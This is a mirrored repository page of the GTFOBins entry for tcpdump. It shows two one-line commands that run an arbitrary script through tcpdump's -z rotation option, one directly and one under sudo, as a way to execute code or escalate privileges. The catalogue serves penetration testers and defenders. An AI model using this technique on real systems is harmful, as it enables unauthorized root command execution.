This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-05 03:08:35 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
d4b50275bb026af2205e8db0db4ddfc990db90cf
GTFOBins.github.io
/
_gtfobins
/
tcpdump.md
Emilio Pinna
a68ef39e30
Standardize tcpdump temporary file creation
2018-08-19 11:24:13 +01:00
421 B
Raw
Blame
History
functions
functions
execute-non-interactive
suid-enabled
code
COMMAND='id > /tmp/output' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
code
COMMAND='id > /tmp/output' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
Reference in New Issue
View Git Blame
Copy Permalink